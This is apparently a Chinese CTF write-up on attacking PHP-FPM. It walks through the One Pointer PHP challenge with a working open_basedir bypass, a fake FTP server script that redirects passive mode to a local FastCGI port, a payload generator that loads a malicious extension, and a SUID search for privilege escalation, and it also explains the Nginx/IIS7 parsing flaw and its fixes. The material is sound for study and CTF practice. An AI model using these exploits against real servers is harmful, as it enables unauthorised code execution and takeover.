攻击流程:
1 2 3 4 <?php $sock =stream_socket_client ('unix:///run/php/php7.3-fpm.sock' );fputs ($sock , base64_decode ($_POST ['A' ]));var_dump (fread ($sock , 4096 ));?>
这个原理也很简单就是通过php stream_socket_client
建立一个unix socket连接,然后写入tcp流进行通信。
那么这个可不可以进行ssrf攻击呢 答案是否定的,因为他没有经过网络协议层,而ssrf能利用的就是网络协议,具体可以看我上面介绍unix 套接字原理。
利用FTP进行php-fpm未授权访问攻击 例题:[蓝帽杯 2021]One Pointer PHP
、hxp CTF resonator
(无复现环境)
感谢buuctf,蓝帽复现环境提供的太及时了,太强了
第五届蓝帽杯和第四届区别真是。。。
参考链接:
https://ha1c9on.top/2021/04/29/lmb_one_pointer_php/#i-6
https://rmb122.com/2020/12/30/hxp-CTF-resonator-Writeup-SSRF-via-file-put-contents/
https://zhuanlan.zhihu.com/p/343918026
源码就俩文件:
add_api.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include "user.php" ;if ($user =unserialize ($_COOKIE ["data" ])){ $count [++$user ->count]=1 ; if ($count []=1 ){ $user ->count+=1 ; setcookie ("data" ,serialize ($user )); }else { eval ($_GET ["backdoor" ]); } }else { $user =new User ; $user ->count=1 ; setcookie ("data" ,serialize ($user )); } ?>
user.php
1 2 3 4 5 <?php class User { public $count ; } ?>
第一部分整型溢出略过
第二部分可以通过eval执行代码,发现禁用了好多函数和类,而且做了open_basedir
1 2 3 4 5 6 7 disable_functions = stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursivedisable_classes = Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException
绕过open_basedir:
1 mkdir ('img' );chdir ('img' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' );print_r (scandir ('/' ));
可以读取到php.ini啥的,但是flag读取不了,查看权限显示为0400
,绝对是要getshell后提权
phpinfo处显示有一个easy_bypass,这个应该是预期解,web pwn
通过phpinfo还可以发现环境是 FPM/FastCGI
,绕过open_basedir读php.ini可以看到端口为9001
考虑到可以通过攻击FPM
来bypass
因为禁用了许多函数和类,普通的ssrf无法使用,但是ftp协议未被禁用
这篇文章讲的挺清楚:
https://rmb122.com/2020/12/30/hxp-CTF-resonator-Writeup-SSRF-via-file-put-contents/
ftp 协议相对比较复杂, 其中存在一个特性, 相信大家都听说过, 就是 ftp 的数据端口和指令端口是分开的, 我们平时所说的 21 号端口其实是 ftp 的指令端口, 用于发送指令, 比如认证用户和指定读取的文件. 但是如果是传输文件的内容, ftp 实际上会重新打开一个链接, 同时还分为两种模式, 被动模式和主动模式.
这里 wikipedia 讲的比较清楚, 我直接复制一段过来
1 FTP有两种使用模式:主动和被动。主动模式要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题。所以,创立了被动模式。被动模式只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。
注意 被动模式只要求服务器端产生一个监听相应端口的进程
, 这里有非常重要的一点, 这个被动模式的端口是服务器指定的, 而且还有一点是很多地方没有提到的, 实际上除了端口, 服务器的地址也是可以被指定的. 由于 ftp 和 http 类似, 协议内容全是纯文本, 我们可以很清晰的看到它是如何指定地址和端口的
1 227 Entering Passive Mode(192,168,9,2,4,8)
227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语, 而 (192,168,9,2,4,8) 代表让客户端连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口. 这样这个如何利用就很明显了, file_put_contents 在使用 ftp 协议时, 会将 data 的内容上传到 ftp 服务器, 由于上面说的 pasv 模式下, 服务器的地址和端口是可控, 我们可以将地址和端口指到 127.0.0.1:9000. 同时由于 ftp 的特性, 不会有任何的多余内容, 类似 gopher 协议, 会将 data 原封不动的发给 127.0.0.1:9000, 完美符合攻击 fastcgi 的要求.
伪造FTP服务器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import sockethost = '0.0.0.0' port = 2334 sk = socket.socket() sk.bind((host, port)) sk.listen(5 ) conn, address = sk.accept() conn.send("200 \n" ) print '200' print conn.recv(20 )conn.send("200 \n" ) print '200' print conn.recv(20 )conn.send("200 \n" ) print '200' print conn.recv(20 )conn.send("300 \n" ) print '300' print conn.recv(20 )conn.send("200 \n" ) print '200' print conn.recv(20 )print "ck" conn.send("227 127,0,0,1,0,9001\n" ) print '200' print conn.recv(20 )conn.send("150 \n" ) print '150' print conn.recv(20 )conn.close() exit()
生成payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php $client = new FCGIClient ("unix:///var/run/php-fpm.sock" , -1 );$SCRIPT_FILENAME = '/var/www/html/user.php' ;$SCRIPT_NAME = '/' .basename ($SCRIPT_FILENAME );$REQUEST_URI = $SCRIPT_NAME ;$content = '' ;$PHP_ADMIN_VALUE = "extension_dir = /var/www/html\nextension = evil.so\n" ;$res = $client ->request ( array ( 'GATEWAY_INTERFACE' => 'FastCGI/1.0' , 'REQUEST_METHOD' => 'POST' , 'SCRIPT_FILENAME' => $SCRIPT_FILENAME , 'SCRIPT_NAME' => $SCRIPT_NAME , 'REQUEST_URI' => $REQUEST_URI , 'PHP_ADMIN_VALUE' => $PHP_ADMIN_VALUE , 'SERVER_SOFTWARE' => 'php/fastcgiclient' , 'REMOTE_ADDR' => '127.0.0.1' , 'REMOTE_PORT' => '9985' , 'SERVER_ADDR' => '127.0.0.1' , 'SERVER_PORT' => '80' , 'SERVER_NAME' => 'localhost' , 'SERVER_PROTOCOL' => 'HTTP/1.1' , 'CONTENT_TYPE' => 'application/x-www-form-urlencoded' , 'CONTENT_LENGTH' => strlen ($content ), ), $content ); echo ('gopher://127.0.0.1:9000/_' .str_replace ("%2B" , "+" , ($res )));
攻击 将前文提到的恶意so文件编译好上传后
开启恶意ftp服务器
构造file_put_contents
1 2 3 4 5 6 $file = $_GET ['file' ];$data = $_GET ['data' ];file_put_contents ($file ,$data );
监听端口,发送请求即可收到shell
flag没权限
使用suid提权,查找有权限的命令
1 find / -perm -u=s -type f 2>/dev/null
php -a
进入交互模式,进行绕过open_basedir并getflag
1 chdir ('css' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' );echo file_get_contents ('/flag' );
Nginx IIS7解析漏洞 Nginx(IIS7)解析漏洞 Nginx和IIS7曾经出现过一个PHP相关的解析漏洞(测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability
),该漏洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php
时,访问到的文件是favicon.ico,但却按照.php后缀解析了。
用户请求http://127.0.0.1/favicon.ico/.php
,nginx将会发送如下环境变量到fpm里:
1 2 3 4 5 6 7 8 { ... 'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php', 'SCRIPT_NAME': '/favicon.ico/.php', 'REQUEST_URI': '/favicon.ico/.php', 'DOCUMENT_ROOT': '/var/www/html', ... }
正常来说,SCRIPT_FILENAME
的值是一个不存在的文件/var/www/html/favicon.ico/.php
,是PHP设置中的一个选项fix_pathinfo
导致了这个漏洞。PHP为了支持Path Info模式而创造了fix_pathinfo
,在这个选项被打开的情况下,fpm会判断SCRIPT_FILENAME
是否存在,如果不存在则去掉最后一个/
及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在。
所以,第一次fpm发现/var/www/html/favicon.ico/.php
不存在,则去掉/.php
,再判断/var/www/html/favicon.ico
是否存在。显然这个文件是存在的,于是被作为PHP文件执行,导致解析漏洞。
正确的解决方法有两种,一是在Nginx端使用fastcgi_split_path_info
将path info信息去除后,用tryfiles判断文件是否存在;二是借助PHP-FPM的security.limit_extensions
配置项,避免其他后缀文件被解析。